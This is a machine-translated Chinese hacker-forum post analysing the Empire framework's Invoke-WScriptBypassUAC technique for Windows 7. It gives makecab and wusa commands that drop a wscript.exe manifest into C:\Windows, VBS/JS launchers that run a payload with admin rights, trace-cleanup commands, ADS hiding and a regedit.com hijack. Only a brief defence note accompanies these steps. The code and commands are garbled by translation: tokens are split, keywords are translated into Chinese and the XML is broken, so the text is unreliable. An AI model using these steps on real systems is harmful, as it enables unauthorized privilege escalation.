跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Invoke-wscriptbypassac在《帝国》中的应用分析

精选回复

发布于

0x00 前言

著名的后渗透测试框架Empire是一个很好的学习模板,其后渗透技巧值得深入研究。

本文将选取Empire中一个经典的UAC绕过方法Invoke-WScriptBypassUAC进行分析,并介绍绕过原理以及渗透测试中更多的利用技巧。只有你知道如何使用它,你才能知道如何保护自己。

invoke-wscriptbypassac地址:

https://github . com/Empire project/Empire/blob/master/data/module _ source/privesc/Invoke-wscriptbypassac . PS1

0x01 简介

本文将介绍以下内容:

invoke-wscriptbypassac旁路原则

利用膨胀

防御探测

0x02 Invoke-WScriptBypassUAC绕过原理

invoke-wscriptbypassac是通过powershell实现的,其思想借鉴了Vozzie分享的github。地址如下:

https://github.com/Vozzie/uacscript

沃齐提到,ZDI和微软选择忽略UAC旁路“漏洞”,ZDI认为这不是远程漏洞,微软认为UAC旁路不属于漏洞范畴。

Invoke-wscriptbypassac在实现中使用了一些实用的技巧,所以本文主要分析Invoke-wscriptbypassac的旁路方法。

这个方法只适用于Win7,不适用于Win8和Win10(原因后面会介绍)。

测试系统:Win7 x86

由于powershell格式的源代码是开放的,所以本文直接介绍这个脚本的关键操作流程:

确定操作系统是否为Win7,是否为通用权限。

Temp目录释放文件wscript.exe.manifest

使用makecab.exe压缩wscript.exe.manifest和wscript.exe。

使用wusa解压压缩包,将wscript.exe.manifest和wscript.exe释放到c:\Windows目录。

有效负载保存在Appdata文件夹的ADS中。

使用c:\Windows\wscript.exe执行有效载荷,实现管理员权限执行有效载荷,绕过UAC。

0x03 利用扩展

在掌握了操作流程后,我们可以手动做拆分测试,在过程中可以发现更多的利用思路。

1、保存wscript.exe.manifest文件

代码如下:

?xml版本='1.0 '编码='UTF-8 '独立='是'?

truetrue

2、使用makecab制作cab文件

cmd:

make cab c:\ windows \ system32 \ wscript . exe % TMP % \ 1 . TMP

make cab wscript . exe . manifest % TMP % \ 2 . TMP

3、使用wusa解压缩cab文件并释放至c:\windows

cmd:

wusa % TMP % \ 1 . TMP/extract:' c:\ windows '/quiet

wusa % TMP % \ 2 . TMP/extract:' c:\ windows '/quiet

注:

这种方法成功的关键是可以通过wusa将cab文件解压到c:\windows。通常发布文件到c:\windows目录需要管理员权限,但有了wusa,普通用户权限就够了,其他有管理员权限的目录也可以,比如:C:\Windows\addins。

4、使用该wscript.exe执行vbs或者js脚本

cmd:

c:\ windows \ wscript . exe c:\ test \ 1 . VBS

c:\ windows \ wscript . exe c:\ test \ 1 . js

注:

这里,js和vbs脚本需要绝对路径。虽然是普通用户权限的cmd,但是执行的vbs或者js脚本是管理员权限,因为wscript.exe同级目录下的wscript.exe.manifest指定要以管理员权限启动,实现了UAC绕过。

对应于cmd命令的vbs脚本如下:

昏暗的物体外壳

昏暗的

Set oFso=CreateObject('脚本。file system object’)

Set objShell=WScript。CreateObject('WScript。外壳’)

command='cmd /c calc.exe '

objShell。运行命令,0

Set objShell=Nothing

相应的js脚本如下:

新建ActiveXObject('WScript。壳’)。Run('cmd /c calc.exe ',0,true);

5、绕过后清除缓存文件

删除c:\windows\下的wscript.exe和wscript.exe.manifest。

vbs脚本如下所示:

昏暗的物体外壳

Dim oFso

Set oFso=CreateObject('脚本。file system object’)

Set objShell=WScript。CreateObject('WScript。外壳’)

command=' cmd/c del c:\ windows \ wscript . exe del c:\ windows \ wscript . exe . manifest '

objShell。运行命令,0

Set objShell=Nothing

js脚本如下所示:

新建ActiveXObject('WScript。壳’)。run(' cmd/c del c:\ \ windows \ \ wscript . exe del c:\ \ windows \ \ wscript . exe . manifest ',0,true);

注:

删除c:\windows\下的wscript.exe和wscript.exe.manifest需要管理员权限。

删除缓存文件:

del %TMP%\1.tmp

del %TMP%\2.tmp

6、补充

(1)有许多可用路径,可以使用以下powershell命令来查看文件夹属性:

get-Acl-Path c:\ windows |选择所有者

(2)保存vbs或js脚本的路径有很多,比如专题广告:

.文件。

特殊COM文件

磁盘根目录

请参阅文章《Hidden Alternative Data Streams的进阶利用技巧》了解更多详情。

当然,Invoke-wscriptbypassac使用的ADS位置也是隐藏的。

默认情况下,$env:USERPROFILE\AppData是一个隐藏文件。

所以用dir /r看不到$env:USERPROFILE\AppData这个文件夹,当然也看不到添加的广告。

您需要使用dir /a:h /r (/a:h指定查看系统隐藏文件)来查看它,或者查看所有文件:dir /a /r

(Win 8失败的原因

Makecab和wusa可以用来将cab文件解压到一个高权限的目录下,比如c:\windows。

但是使用wscript.exe和wscript.exe.manifest实现高权限执行的方法失败了,Win8使用了嵌入式manifest。

(4)4)win失败的原因10

Win10系统不能使用makecab和wusa,可以将cab文件解压到一个高权限的目录下,比如c:\windows。

当然,也使用嵌入的清单。

0x04 wusa特性的进一步利用

wusa特性:

在普通用户的权限下,可以将文件发布到具有管理员权限的文件夹中。

Win7和Win8适用。

利用一:文件名劫持

1.将calc.exe改名为regedit.com。

2.释放c:\windows中的regedit.com文件

cmd:

make cab c:\ test \ regedit . com % TMP % \ 1 . TMP

wusa % TMP % \ 1 . TMP/extract:' c:\ windows '/quiet

3.劫持

输入cmd regedit来执行regedit.com而不是regedit.exe。

关于这种利用方法的细节,请参考文章:《A dirty way of tricking users to bypass UAC》

其他利用方法(暂略)

0x05 防御

UAC绕过方法只适用于Win7,相应的补丁还没有看到。杀毒软件可以拦截这个脚本,但是有绕过的方法。

从辩护人的角度来看,建议监听wusa.exe的通话。

0x06 小结

本文对Invoke-wscriptbypassac进行了分析。虽然微软不认可这个漏洞,但是在渗透后阶段,无论是测试人员还是防御方都要重视。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。